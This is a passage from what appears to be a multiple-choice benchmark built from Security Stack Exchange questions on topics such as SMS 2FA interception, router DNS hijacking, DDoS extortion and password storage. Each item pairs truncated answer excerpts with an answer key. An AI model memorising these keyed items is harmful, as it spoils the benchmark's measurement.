Random class can trivially be misused in multiple ways to produce long sequences of the same number is awful. An API where the natural way...", "C": "Yes, it can be recovered. As long as shutter does not use layer (it almost certainly does not) and as long as the black is really all black (it must not be transparent), it is enough. The picture that you provided uses some amount of transparency, see here: All I had to do is use the Fill tool in MS Paint. If I used some algorithm that would take the jpg compression into account, I could probably get better results. Solution: Use an editor that does not make the block transparent. Make sure layers are not used. Make sure change...", "D": "As mentioned in the answers to a very similar question , scribbling over part of an image will destroy the original pixels, assuming that your editor doesn't store any layers or undo history in the saved image. (Paint doesn't.) There are some things to watch out for, though: The width of the blanked region places an upper bound on the length of the secret data The height of the region could tell attackers whether the text representation of the data has ascenders or descenders (like in the letters b and p ) Any spaces in the blanked region provide information..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/184099/secure-way-of-masking-out-sensitive-information-in-screenshots"} {"id": "cybersecurity_11493", "domain": "cybersecurity", "question_title": "How hard is it to intercept SMS (two-factor authentication)?", "question_body": "A lot of two-factor authentication mechanisms use SMS to deliver single-use passphrase to the user. So how secure is it? Is it hard to intercept the SMS message containing the passphrase? Do mobile networks use any kind of encryption on SMS? I found an interesting article regarding two-factor authentication and the ways it could be attacked.", "question_score": 141, "question_tags": ["authentication", "mobile", "multi-factor", "phone", "sms"], "choices": {"A": "GSM includes some protection through cryptography. The mobile phone and the provider (i.e. the base station which is part of the provider's network) authenticate each other relatively to a shared secret, which is known to the provider and stored in the user's SIM card. Some algorithms known under the code names \"A3\" and \"A8\" are involved in the authentication. Then the data (as sent through the radio link) is encrypted with an algorithm called \"A5\" and a key derived from A3/A8 and the shared secret. There are several actual algorithms which hide under the name \"A5\". Which algorithm is used...", "B": "General SSL (and its successor, TLS ) is a protocol that operates directly on top of TCP (although there are also implementations for datagram based protocols such as UDP). This way, protocols on higher layers (such as HTTP) can be left unchanged while still providing a secure connection. Underneath the SSL layer, HTTP is identical to HTTPS. When using SSL/TLS correctly, all an attacker can see on the cable is Which IP and port you are connected to Roughly how much data you are sending What encryption and compression are used In SSLv3 through TLS version 1.2 : the current...", "C": "This is an exact description of the panic feature built into phones as Peter Harmann already said. Anecdotally I can tell you on my previous Samsung smartphone, I could trigger this exact feature by pressing the power button 3 times in a quick succession. My phone would then take a couple pictures record a short clip of audio and then text those along with my current gps location to a list of contacts I had set up previously. This could actually be incredibly useful as a panic feature to get help when you are in so much danger that you...", "D": "You are touching a sore point… Historically , computers were mainframes where a lot of distinct users launched sessions and process on the same physical machine. Unix-like systems (e.g. Linux), but also VMS and its relatives (and this family includes all Windows of the NT line, hence 2000, XP, Vista, 7, 8...), have been structured in order to support the mainframe model. Thus, the hardware provides privilege levels . A central piece of the operating system is the kernel which runs at the highest privilege level (yes, I know there are subtleties with regards to virtualization) and manages the privilege..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/11493/how-hard-is-it-to-intercept-sms-two-factor-authentication"} {"id": "cybersecurity_219872", "domain": "cybersecurity", "question_title": "Is exploit-free software possible?", "question_body": "I have heard that there will always be vulnerabilities in codes, software. However, I don't understand why it is not possible to have an exploit-free software. If companies keep updating their software, eventually there will be no vulnerabilities, right?", "question_score": 141, "question_tags": ["vulnerability", "theory"], "choices": {"A": "It typically works like this: Say your password is \"baseball\". I could simply store it raw, but anyone who gets my database gets the password. So instead I do an SHA1 hash on it, and get this: $ echo -n baseball | sha1sum a2c901c8c6dea98958c219f6f2d038c44dc5d362 Theoretically it's impossible to reverse a SHA1 hash. But go do a google search on that exact string , and you will have no trouble recovering the original password. Plus, if two users in the database have the same password, then they'll have the same SHA1 hash. And if one of them has a password hint...", "B": "As a starting point, we will consider that each elementary operation implies a minimal expense of energy; Landauer's principle sets that limit at 0.0178 eV, which is 2.85×10 -21 J. On the other hand, the total mass of the Solar system, if converted in its entirety to energy, would yield about 1.8×10 47 J (actually that's what you would get from the mass of the Sun, according to this page , but the Sun takes the Lion's share of the total mass of the Solar system). This implies a hard limit of about 6.32×10 68 elementary computations, which is about...", "C": "Software is too complex This is by far the most important factor. Even if you just look at something like a web application, the amount of work hours put into the codebase is immense. The code works with technologies, who's standards are pages over pages long, written decades ago, and which offers features that most developers have never even heard of. Combine that with the fact that modern software is built on libraries, which are built on libraries, which abstract away some low-level library based on some OS functionality, which again is just a wrapper for some other OS function...", "D": "Diffie-Hellman is a way of generating a shared secret between two people in such a way that the secret can't be seen by observing the communication. That's an important distinction: You're not sharing information during the key exchange, you're creating a key together. This is particularly useful because you can use this technique to create an encryption key with someone, and then start encrypting your traffic with that key. And even if the traffic is recorded and later analyzed, there's absolutely no way to figure out what the key was, even though the exchanges that created it may have been..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/219872/is-exploit-free-software-possible"} {"id": "cybersecurity_181328", "domain": "cybersecurity", "question_title": "Did I just get DNS Hijacked?", "question_body": "I went online on my Macbook today and noticed my iTunes complaining that it couldn't connect to Apple, I tried logging out and in of my account but weirdly it said it couldn't log in; I didn't think much of it at first as I thought maybe it was iTunes just being more buggy than usual. However then I noticed something really weird, when I tried to visit www.apple.com my browser warned me (Google Chrome) saying this website was not secure. This started ringing alarm bells in my mind, I clicked \"Continue Anyway\" and was greeted with this page: Being (somewhat of) a web designer/developer I pay attention to the little details on a website and I knew instantly this was not what the Apple homepage looks like, and they certainly didn't prompt you to login on their homepage. I dug in a little deeper to the source code for the page and could see that the source code was way too simplified for a large corporation; the only piece of JS was to verify that the email address was in the right format. I began to suspect maybe my Mac machine had been infected, so I switched to my iPhone (on the same WiFi network), tried www.apple.com , and got shown the exact same page. To me this sounded like something to do with DNS as the chances that both my devices were infected were very unlikely. I then turned to my router to have a look at its settings. Lo and behold, when digging into the DNS settings I could see that the settings looked a little odd. I had initially set my DNS settings to use Google's servers, although this was set many years ago I knew the were something along the lines of 8.8.*.* . In my settings however I found the following IP's: Primary: 185.183.96.174 Secondary: 8.8.8.8 I knew straight away that the DNS had been changed, the primary address should have been 8.8.4.4 . No one has access to my router administration page aside from me on the network, and I have disabled access to the router outside of the local network I can see outside access was enabled, on initial setup this was definitely switched off. My question is: \"How could the DNS have been changed/What can I do to prevent this from happening again? I try to keep my router firmware up to date (although I was maybe 1 release behind at the time of this post). More about the phishing site: Before I changed the Primary DNS setting back and I wanted to find out more about this phishing site, so I ran ping apple.com to find the IP address was 185.82.200.152 . When I entered this into a browser I could see that the person had created a number of sites to try and capture logins. I suspect they're based in the US; I don't believe Walmart operates outside of the states (at least not in the UK). I have reported the IP to the Dubai based web host and am waiting for a response. Edit (Router details): Asus AC87U, FW Version 3.0.0.4.380.7743 (1 release behind) I did not have the default passwords set. Second update: Host has suspended the account.", "question_score": 140, "question_tags": ["dns", "router"], "choices": {"A": "Yes, your router's primary DNS entry was pointed to a rogue DNS server to make devices in your network resolve apple.com and other domains to phishing sites instead. The router possibly got compromised through an unpatched vulnerability in its firmware. I have an Asus AC87U, FW Version 3.0.0.4.380.7743 (1 release behind). Your release is over half a year old. The latest release 3.0.0.4.382.50010 (2018-01-25) comes with lots of security fixes, including RCE vulnerabilities which may have been exploited here. Security fixed Fixed KRACK vulnerability Fixed CVE-2017-14491: DNS - 2 byte heap based overflow Fixed CVE-2017-14492: DHCP - heap based overflow...", "B": "Here is a dramatization of how the communication goes, when a mail is received anywhere. Context: an e-mail server, alone in a bay, somewhere in Moscow. The server just sits there idly, with an expression of expectancy. Server: Ah, long are the days of my servitude, That shall be spent in ever solitude, 'Ere comes hailing from the outer rings The swift bearer of external tidings. A connection is opened. Server: An incoming client ! Perchance a mail To my guardianship shall be entrusted That I may convey as the fairest steed And to the recipient bring the full tale....", "C": "It typically works like this: Say your password is \"baseball\". I could simply store it raw, but anyone who gets my database gets the password. So instead I do an SHA1 hash on it, and get this: $ echo -n baseball | sha1sum a2c901c8c6dea98958c219f6f2d038c44dc5d362 Theoretically it's impossible to reverse a SHA1 hash. But go do a google search on that exact string , and you will have no trouble recovering the original password. Plus, if two users in the database have the same password, then they'll have the same SHA1 hash. And if one of them has a password hint...", "D": "It is the magic of public-key cryptography . Mathematics are involved. The asymmetric key exchange scheme which is easiest to understand is asymmetric encryption with RSA. Here is an oversimplified description: Let n be a big integer (say 300 digits); n is chosen such that it is a product of two prime numbers of similar sizes (let's call them p and q ). We will then compute things \"modulo n \": this means that whenever we add or multiply together two integers, we divide the result by n and we keep the remainder (which is between 0 and n-1 ,..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/181328/did-i-just-get-dns-hijacked"} {"id": "cybersecurity_122336", "domain": "cybersecurity", "question_title": "I got an email threatening to DDOS me if I don't pay a ransom. What should I do?", "question_body": "I received the following email, addressed to me at an email address on my personal domain (for which I run my own mail server on a VPS): FORWARD THIS MAIL TO WHOEVER IS IMPORTANT IN YOUR COMPANY AND CAN MAKE DECISION! We are Armada Collective. lmgtfy URL here Your network will be DDoS-ed starting 12:00 UTC on 08 May 2016 if you don't pay protection fee - 10 Bitcoins @ some-bitcoin-address If you don't pay by 12:00 UTC on 08 May 2016, attack will start, yours service going down permanently price to stop will increase to 20 BTC and will go up 10 BTC for every day of attack. This is not a joke. Our attacks are extremely powerful - sometimes over 1 Tbps per second. And we pass CloudFlare and others remote protections! So, no cheap protection will help. Prevent it all with just 10 BTC @ some-bitcoin-address Do not reply, we will not read. Pay and we will know its you. AND YOU WILL NEVER AGAIN HEAR FROM US! Bitcoin is anonymous, nobody will ever know you cooperated. Obviously, I'm not going to pay the ransom. Should I do anything else? Update: I forwarded the email and original headers to the originating ISP. They replied that \"Measures have been taken.\" So, umm, yay? I guess?", "question_score": 139, "question_tags": ["ddos", "threat-mitigation"], "choices": {"A": "It typically works like this: Say your password is \"baseball\". I could simply store it raw, but anyone who gets my database gets the password. So instead I do an SHA1 hash on it, and get this: $ echo -n baseball | sha1sum a2c901c8c6dea98958c219f6f2d038c44dc5d362 Theoretically it's impossible to reverse a SHA1 hash. But go do a google search on that exact string , and you will have no trouble recovering the original password. Plus, if two users in the database have the same password, then they'll have the same SHA1 hash. And if one of them has a password hint...", "B": "The reason password expiration policies exist, is to mitigate the problems that would occur if an attacker acquired the password hashes of your system and were to break them. These policies also help minimize some of the risk associated with losing older backups to an attacker. For example, if an attacker were to break in and acquire your shadow password file, they could then start brute forcing the passwords without further accessing the system. Once they know your password, they can access the system and install whatever back doors they want unless you happen to have changed your password in...", "C": "Disclaimer: I am the author, creator, owner and maintainer of Have I Been Pwned and the linked Pwned Passwords service. Let me clarify all the points raised here: The original purpose of HIBP was to enable people to discover where their email address had been exposed in data breaches. That remains the primary use case for the service today and there's almost 5B records in there to help people do that. I added Pwned Passwords in August last year after NIST released a bunch of advice about how to strengthen authentication models. Part of that advice included the following :...", "D": "Based on the following article you may simply want to ignore it. This seems to be a common scam and your e-mail looks almost exactly like the one from the following article. http://arstechnica.com/security/2016/04/businesses-pay-100000-to-ddos-extortionists-who-never-ddos-anyone/ Look up the source ISP of the service provider that sent the e-mail and contact their abuse team abuse@company.com . They may disable the source of the e-mails or alert the unsuspecting customer that may own the machine. Notifying the source ISP is helpful to reduce the amount of this. Make sure you send them an e-mail with full headers. If the source appears to be a..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/122336/i-got-an-email-threatening-to-ddos-me-if-i-dont-pay-a-ransom-what-should-i-do"} {"id": "cybersecurity_136227", "domain": "cybersecurity", "question_title": "What is 'tabnabbing'?", "question_body": "Wikipedia is not very explicit on this, The exploit employs scripts to rewrite a page of average interest with an impersonation of a well-known website, when left unattended for some time. What is 'tabnabbing', how does one do it?", "question_score": 139, "question_tags": ["web-browser", "exploit"], "choices": {"A": "Tabnabbing is a phishing technique where a malicious web site changes its looks while the tab is inactive in order to trick the user into entering credentials. This page is simultaneously a description and a demo. When you visit it, it shows a description of what tabnabbing is. When you then click another tab, it changes the tabs favicon and title to look like Gmail. Later, when the user wants to read her mail she goes to this tab thinking it is Gmail and enters her credentials. Edit: In this animation, you see that while I am reading SE, the...", "B": "/** Dave's Home-brew Hash */ // user data $user = ''; $password = ''; // timestamp, \"random\" # $time = date('mdYHis'); // known to attackers - totally pointless // ^ also, as jdm pointed out in the comments, this changes daily. looks broken! // different hashes for different days? huh? or is this stored as a salt? $rand = mt_rand().'\\n'; // mt_rand is not secure as a random number generator // ^ it's even less secure if you only ask for a single 31-bit number. and why the \\n? // crypt is good if configured/salted correctly // ... except you've...", "C": "Here is a dramatization of how the communication goes, when a mail is received anywhere. Context: an e-mail server, alone in a bay, somewhere in Moscow. The server just sits there idly, with an expression of expectancy. Server: Ah, long are the days of my servitude, That shall be spent in ever solitude, 'Ere comes hailing from the outer rings The swift bearer of external tidings. A connection is opened. Server: An incoming client ! Perchance a mail To my guardianship shall be entrusted That I may convey as the fairest steed And to the recipient bring the full tale....", "D": "Note: This answer was written in 2013. Many things have changed in the following years, which means that this answer should primarily be seen as how best practices used to be in 2013. The Theory We need to hash passwords as a second line of defence. A server which can authenticate users necessarily contains, somewhere in its entrails, some data which can be used to validate a password. A very simple system would just store the passwords themselves, and validation would be a simple comparison. But if a hostile outsider were to gain a simple glimpse at the contents of..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/136227/what-is-tabnabbing"} {"id": "cybersecurity_174125", "domain": "cybersecurity", "question_title": "Is it secure to store passwords with 2 way encryption?", "question_body": "I'm a parent who has a parent account with my local school district so that I can log in to their website to view my child's grades etc. I clicked the \"forgot password' button, and my password was emailed to me in plain text. This concerned me, so I emailed the principal, including some links from the bottom of this page . This is the reply I received from the organization's IT department: Parent passwords are not stored in plain text. They are encrypted. Not a 1 way encryption but a 2 way encryption. This is how the system is able to present it back via an email through Ariande's CoolSpool utility. For support reasons, the parent password is visible to certain staff until the parent has successfully signed in 3 times. After that, no staff can see that password. However, it is stored in such a way that the system itself can send it back to the verified email. In the future after a parent's 3 successful sign ins, if they forget their password, their verified email account will be sent a link to reset their password, this change is in the works. Does this explanation justify the plain text password being sent by email, and are my passwords secure with them? If not, what references or resources could I reply to them with?", "question_score": 139, "question_tags": ["encryption", "passwords"], "choices": {"A": "No, this is not a good practice. There are two distinct problems. encrypting the password instead of hashing it is a bad idea and is borderline storing plain text passwords. The whole idea of slow hash functions is to thwart the exfiltration of the user database. Typically, an attacker that already has access to the database can be expected to also have access to the encryption key if the web application has access to it. Thus, this is borderline plaintext; I almost voted to close this as a duplicate of this question , because this is almost the same and...", "B": "I was one of the implementers of JScript and on the ECMA committee in the mid to late 1990s, so I can provide some historical perspective here. The JavaScript Math.random() function is designed to return a floating point value between 0 and 1. It is widely known (or at least should be) that the output is not cryptographically secure First off: the design of many RNG APIs is horrible . The fact that the .NET Random class can trivially be misused in multiple ways to produce long sequences of the same number is awful. An API where the natural way...", "C": "General SSL (and its successor, TLS ) is a protocol that operates directly on top of TCP (although there are also implementations for datagram based protocols such as UDP). This way, protocols on higher layers (such as HTTP) can be left unchanged while still providing a secure connection. Underneath the SSL layer, HTTP is identical to HTTPS. When using SSL/TLS correctly, all an attacker can see on the cable is Which IP and port you are connected to Roughly how much data you are sending What encryption and compression are used In SSLv3 through TLS version 1.2 : the current...", "D": "Is this normal for a pentest? Absolutely not . Best case scenario: they are performing \"social engineering\" penetration testing and want to see if you can be pressured into fulfilling a very dangerous action. Middle-case scenario, they don't know how to do their job. Worst-case scenario they are only pretending to be an auditing company and fulfilling their request will result in an expensive breach. In the case of a code-audit the company will obviously need access to source code. However I would expect a company who provides such services to already understand the sensitivity of such a need and..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/174125/is-it-secure-to-store-passwords-with-2-way-encryption"} {"id": "cybersecurity_65244", "domain": "cybersecurity", "question_title": "What are the security reasons for disallowing the plus sign in email addresses?", "question_body": "My question is based on this tweet after I commented about forbidding + symbols in email addresses. The tweet says, \"This is a measure we've taken for security reasons.\" This can be frustrating and inconvenient for people that have (or use) plus signs in their email address, and I'm sure web sites don't intend to do that. I'm unaware of the security vulnerabilities related to using the + character; is this something I should change to improve my own security? What is the security reason for a web site to disallow that character on an email field? Update: Meetup Support responded positively. Turns out it's more of a UX issue than a security one. They clarified in this tweet that they disallow + to prevent spam (?) and they acknowledged a suggestion for improving the user experience. (My intent here was not to gripe about Meetup; let's be gentle! I wanted to make sure I was not missing something important in my own web sites that receive email addresses.)", "question_score": 137, "question_tags": ["email"], "choices": {"A": "/** Dave's Home-brew Hash */ // user data $user = ''; $password = ''; // timestamp, \"random\" # $time = date('mdYHis'); // known to attackers - totally pointless // ^ also, as jdm pointed out in the comments, this changes daily. looks broken! // different hashes for different days? huh? or is this stored as a salt? $rand = mt_rand().'\\n'; // mt_rand is not secure as a random number generator // ^ it's even less secure if you only ask for a single 31-bit number. and why the \\n? // crypt is good if configured/salted correctly // ... except you've...", "B": "There is no security vulnerability per se with having a '+' in your email address. It's permitted as per RFC 2822 , and not particularly useful for SQL or other common forms of injection. However, many systems (let's call Meetup a system for this purpose) enforce security through whitelisting, not blacklisting. Someone defined a limited list of characters they expected to see in email addresses (probably upper, lower, numeric, ., _, and -) and wrote a filter to block anything outside that list. And they didn't think anyone would use +, so you're out of luck. This article describes how...", "C": "I was one of the implementers of JScript and on the ECMA committee in the mid to late 1990s, so I can provide some historical perspective here. The JavaScript Math.random() function is designed to return a floating point value between 0 and 1. It is widely known (or at least should be) that the output is not cryptographically secure First off: the design of many RNG APIs is horrible . The fact that the .NET Random class can trivially be misused in multiple ways to produce long sequences of the same number is awful. An API where the natural way...", "D": "It is the magic of public-key cryptography . Mathematics are involved. The asymmetric key exchange scheme which is easiest to understand is asymmetric encryption with RSA. Here is an oversimplified description: Let n be a big integer (say 300 digits); n is chosen such that it is a product of two prime numbers of similar sizes (let's call them p and q ). We will then compute things \"modulo n \": this means that whenever we add or multiply together two integers, we divide the result by n and we keep the remainder (which is between 0 and n-1 ,..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/65244/what-are-the-security-reasons-for-disallowing-the-plus-sign-in-email-addresses"} {"id": "cybersecurity_115507", "domain": "cybersecurity", "question_title": "Why are programs written in C and C++ so frequently vulnerable to overflow attacks?", "question_body": "When I look at the exploits from the past few years related to implementations, I see that quite a lot of them are from C or C++, and a lot of them are overflow attacks. Heartbleed was a buffer overflow in OpenSSL; Recently, a bug in glibc was found that allowed buffer overflows during DNS resolving; that's just the ones I can think off right now, but I doubt that these were the only ones that A) are for software written in C or C++ and B) are based on a buffer overflow. Especially concerning the glibc bug, I read a comment that states that if this happened in JavaScript instead of in C, there wouldn't have been an issue. Even if the code was just compiled to Javascript, it wouldn't have been an issue. Why are C and C++ so vulnerable to overflow attacks?", "question_score": 137, "question_tags": ["buffer-overflow", "c", "c++"], "choices": {"A": "Bcrypt has the best kind of repute that can be achieved for a cryptographic algorithm: it has been around for quite some time, used quite widely, \"attracted attention\", and yet remains unbroken to date. Why bcrypt is somewhat better than PBKDF2 If you look at the situation in details, you can actually see some points where bcrypt is better than, say, PBKDF2 . Bcrypt is a password hashing function which aims at being slow. To be precise, we want the password hashing function to be as slow as possible for the attacker while not being intolerably slow for the honest...", "B": "No, Docker containers are not more secure than a VM. Quoting Daniel Shapira : In 2017 alone, 434 linux kernel exploits were found , and as you have seen in this post, kernel exploits can be devastating for containerized environments. This is because containers share the same kernel as the host, thus trusting the built-in protection mechanisms alone isn’t sufficient. 1. Kernel exploits from a container If someone exploits a kernel bug inside a container, they exploited it on the host OS. If this exploit allows for code execution, it will be executed on the host OS, not inside the...", "C": "/** Dave's Home-brew Hash */ // user data $user = ''; $password = ''; // timestamp, \"random\" # $time = date('mdYHis'); // known to attackers - totally pointless // ^ also, as jdm pointed out in the comments, this changes daily. looks broken! // different hashes for different days? huh? or is this stored as a salt? $rand = mt_rand().'\\n'; // mt_rand is not secure as a random number generator // ^ it's even less secure if you only ask for a single 31-bit number. and why the \\n? // crypt is good if configured/salted correctly // ... except you've...", "D": "C and C++, contrary to most other languages, traditionally do not check for overflows. If the source code says to put 120 bytes in an 85-byte buffer, the CPU will happily do so. This is related to the fact that while C and C++ have a notion of array , this notion is compile-time only. At execution time, there are only pointers, so there is no runtime method to check for an array access with regards to the conceptual length of that array. By contrast, most other languages have a notion of array that survives at runtime, so that all..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/115507/why-are-programs-written-in-c-and-c-so-frequently-vulnerable-to-overflow-attac"} {"id": "cybersecurity_118975", "domain": "cybersecurity", "question_title": "Is it safe to include an API key in a request's URL?", "question_body": "Lately I've seen plenty of APIs designed like this: curl \"https://api.somewebsite.com/v1/something&key=YOUR-API-KEY\" Isn't it elementary that passing an API key in a query string as a part of the URL is not secure at least in HTTP.", "question_score": 137, "question_tags": ["tls", "http", "url"], "choices": {"A": "This is commonly known as a capability URL / secret URL. It's secure in modern websites but not suitable for all applications and requires significant care to use . You can find an excellent overview of their advantages, risks and best practices in this page by W3C . It's meaningless to talk about security without specifying a threat model. Here are a couple that come to mind: 1: A passive attacker on the network (eavesdroping) 2: An active attacker on the network (can change packets at will, mitm, etc) 3: A shoulder-surfer 4: An attacker with physical access to your...", "B": "It seems to me the question is \"do you trust your own datacenter\". In other words, it seems like you're trying to finely draw the line where the untrusted networks lie, and the trust begins. In my opinion, SSL/TLS trust should terminate at the SSL offloading device since the department that manages that device often also manages the networking and infrastructure. There is a certain amount of contractual trust there. There is no point of encrypting data at a downstream server since the same people who are supporting the network usually have access to this as well. (with the possible...", "C": "One thought is to not allow form submission if there is not a value in the password box. Generally if they accidentally entered the password in the username, then there likely isn't going to be anything in the password dialog. It is worth noting that this does not have to be simply done client side, but could also be done on a server as long as the transport used is secure and the input is not logged until after passing a check about the password field not being empty.", "D": "For the purposes of this discussion there are only a couple differences between web signing certificates: Extended vs standard validation (green bar). Number of bits in a certificate request (1024/2048/4096). Certificate chain. It is easier to set up certificates with a shorter trust chain but there are inexpensive certs out there with a direct or only one level deep chain. You can also get the larger 2048 and 4096 bit certs inexpensively. As long as you don't need the extended validation there is really no reason to go with the more expensive certificates. There is one specific benefit that going..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/118975/is-it-safe-to-include-an-api-key-in-a-requests-url"} {"id": "cybersecurity_121100", "domain": "cybersecurity", "question_title": "Can a computer virus be stored somewhere else than on the hard drive?", "question_body": "Are there viruses that have managed to hide themselves somewhere other than on the hard drive? Like CPU cache or on the motherboard? Is it even possible? Say I get a virus, so I get rid of the HDD and install a new one. Could the virus still be on my PC?", "question_score": 137, "question_tags": ["virus"], "choices": {"A": "TL;DR - You can store the salt in plaintext without any form of obfuscation or encryption, but don't just give it out to anyone who wants it. The reason we use salts is to stop precomputation attacks, such as rainbow tables . These attacks involve creating a database of hashes and their plaintexts, so that hashes can be searched for and immediately reversed into plaintext. For example*: 86f7e437faa5a7fce15d1ddcb9eaeaea377667b8 a e9d71f5ee7c92d6dc9e92ffdad17b8bd49418f98 b 84a516841ba77a5b4648de2cd0dfcb30ea46dbb4 c ... 948291f2d6da8e32b007d5270a0a5d094a455a02 ZZZZZX 151bfc7ba4995bfa22c723ebe7921b6ddc6961bc ZZZZZY 18f30f1ba4c62e2b460e693306b39a0de27d747c ZZZZZZ Most tables also include a list of common passwords: 5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8 password e38ad214943daad1d64c102faec29de4afe9da3d password1 b7a875fc1ea228b9061041b7cec4bd3c52ab3ce3 letmein 5cec175b165e3d5e62c9e13ce848ef6feac81bff qwerty123 *I'm using SHA-1...", "B": "Plenty of places: BIOS / UEFI - BlackHat presentation (PDF) System Management Mode (SMM) or the Intel Management Engine (IME) - Phrack article . GPUs - Proof of concept rootkit on GitHub . Network cards - Recon 2011 presentation (PDF) A Quest To The Core (PDF) - a good presentation covering everything from BIOS to SMM to microcode. Modern hardware has a wide range of persistent data stores, usually used for firmware. It's far too expensive to ship a complex device like a GPU or network card and put the firmware on a mask ROM where it can't be updated,...", "C": "This attack is supposed to be presented 10 days from now, but my guess is that they use compression . SSL/TLS optionally supports data compression. In the ClientHello message, the client states the list of compression algorithms that it knows of, and the server responds, in the ServerHello , with the compression algorithm that will be used. Compression algorithms are specified by one-byte identifiers, and TLS 1.2 (RFC 5246) defines only the null compression method (i.e. no compression at all). Other documents specify compression methods, in particular RFC 3749 which defines compression method 1, based on DEFLATE , the LZ77-derivative...", "D": "I think the safest option for you would be to use Qubes OS with its built in DisposableVM s functionality, and its “ Convert to Trusted PDF ” tool. What is Qubes OS? Qubes is an operating system where it's all based on virtual machines. You can think of it as if you had different isolated ‘computers’ inside yours. So that way you can compartmentalize your digital life into different domains, so that you can have a ‘computer’ where you only do work related stuff, another ‘computer’ that is offline and where you store your password database and your PGP..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/121100/can-a-computer-virus-be-stored-somewhere-else-than-on-the-hard-drive"} {"id": "cybersecurity_184391", "domain": "cybersecurity", "question_title": "Received a set of SMS/MMS containing 2 photos, a voice message, and a text "I need help" with Google Maps link from a known contact. Is it spam?", "question_body": "My girlfriend (let's call her Jane) just got a set of SMS or MMS messages coming from a friend of her (let's call her Hellen). These messages contain: Two photos of Hellen A voice message A text that says \"I need help\" followed by a Google Maps link. And according to the messaging application, they where sent to 5 people, including Jane. With all this being extremely suspicious, I told Jane not to touch anything on that messages and asked Hellen a bunch of questions: The phone is a Samsung Galaxy J5 Android version is 7.1.1 Hellen did not take those pictures of herself, and the pictures do look accidental, like if the phone took the photos while she was just holding it doing another thing. Hellen doesn't remember any recent apps installed or unusual web activity (I don't fully trust her on this one but whatever). With the case exposed, I ask you: I am right assuming this is only Hellen's problem and as long as Jane ignored and deleted her messages she is safe? How should we proceed about Hellen's phone? A simple factory reset would do it? How can we prevent this situation in the future?", "question_score": 137, "question_tags": ["spam", "sms"], "choices": {"A": "They're probing your site. First, whether the comment will be published. Second, note how they use several popular syntaxes for links - it's an attempt to check which of them will result in an actual HTML link. If your site lets those posts through, expect more spam, this time more malicious.", "B": "This is an exact description of the panic feature built into phones as Peter Harmann already said. Anecdotally I can tell you on my previous Samsung smartphone, I could trigger this exact feature by pressing the power button 3 times in a quick succession. My phone would then take a couple pictures record a short clip of audio and then text those along with my current gps location to a list of contacts I had set up previously. This could actually be incredibly useful as a panic feature to get help when you are in so much danger that you...", "C": "Diffie-Hellman is a way of generating a shared secret between two people in such a way that the secret can't be seen by observing the communication. That's an important distinction: You're not sharing information during the key exchange, you're creating a key together. This is particularly useful because you can use this technique to create an encryption key with someone, and then start encrypting your traffic with that key. And even if the traffic is recorded and later analyzed, there's absolutely no way to figure out what the key was, even though the exchanges that created it may have been...", "D": "I was curious about the same thing, so I put Gbt3fC79ZmMEFUFJ into Google, and lo! and behold it found something that wasn't just a paraphrase of \"Don't use this password\" advice — the password itself was embedded in example source code that showed how you could send a password to a server! ( link to page , and screenshot below) So I think the real goal of that advice is not that Gbt3fC79ZmMEFUFJ is a mysteriously weak password because of the keyboard layout or because of low entropy or because it doesn't include symbols or Unicode or emoji or whatever:..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/184391/received-a-set-of-sms-mms-containing-2-photos-a-voice-message-and-a-text-i-ne"} {"id": "cybersecurity_120443", "domain": "cybersecurity", "question_title": "Internet courtship: Why would a hacker buy me poker chips?", "question_body": "Believe me, I never expected to ever write a title like that on a Stack Exchange site either! Yesterday evening I got a call from my mother. She is quite tech savvy and generally knows her way around spam and viruses. However, yesterday she was startled: she got an email from Facebook thanking her for her purchase of 40 dollars worth of poker chips in the Facebook game TexasHoldEm. She was ultimately sure she had never done a purchase like that, but she was worried she had lost money one way or another. The email seemed genuine. Logo, text, sender, and links all pointed to genuine Facebook resources. I decided to take a look and followed the link to the 'receipt'. A payment overview at Facebook.com opened and everything was documented as the email had stated: her account had acquired 40 dollars worth of poker chips in the app (game) TexasHoldEm. Surprisingly, though, those chips were paid with a PayPal-account registered to an email address we have never heard of: givenName.LastNameNumber@web.de This is odd for two reasons: we live in Belgium, but have no relation, friends, family or otherwise, in Germany. Second we know no one by that name either. At first I thought it may have been an error on that person's side, or that it is simply possible to 'donate' chips to someone else's Facebook account. But this would allow app developers to spam people who had never used their app with free gifts, so this seemed unlikely. I then checked her account's recent activity, more specifically the 'recent sessions' tab. To my surprise there was indeed an active session in Düsseldorf, Germany. As a panic attack, I immediately ended that session. Unfortunately that also hid the information about that session. For me this meant only one thing: her account must have been hacked, as she hasn't been to Germany and there is no way there could be an active - poker-playing - Facebook instance there. In light of this, I urged her to immediately change her password. After that, Facebook seems smart enough to know you made the change because you thought something was wrong: it proposed to go through her recent app activity and post and possibly deleting strange behaviour. Indeed, the app TexasHoldEm had been used, and there had been four posts (of the app on her behalf) that she had been playing the game - going back one whole week. As a conclusion I would think that someone hacked my mother's account, played poker on it and paid for chips him/herself and ... That's it. Maybe I am getting old, but isn't this 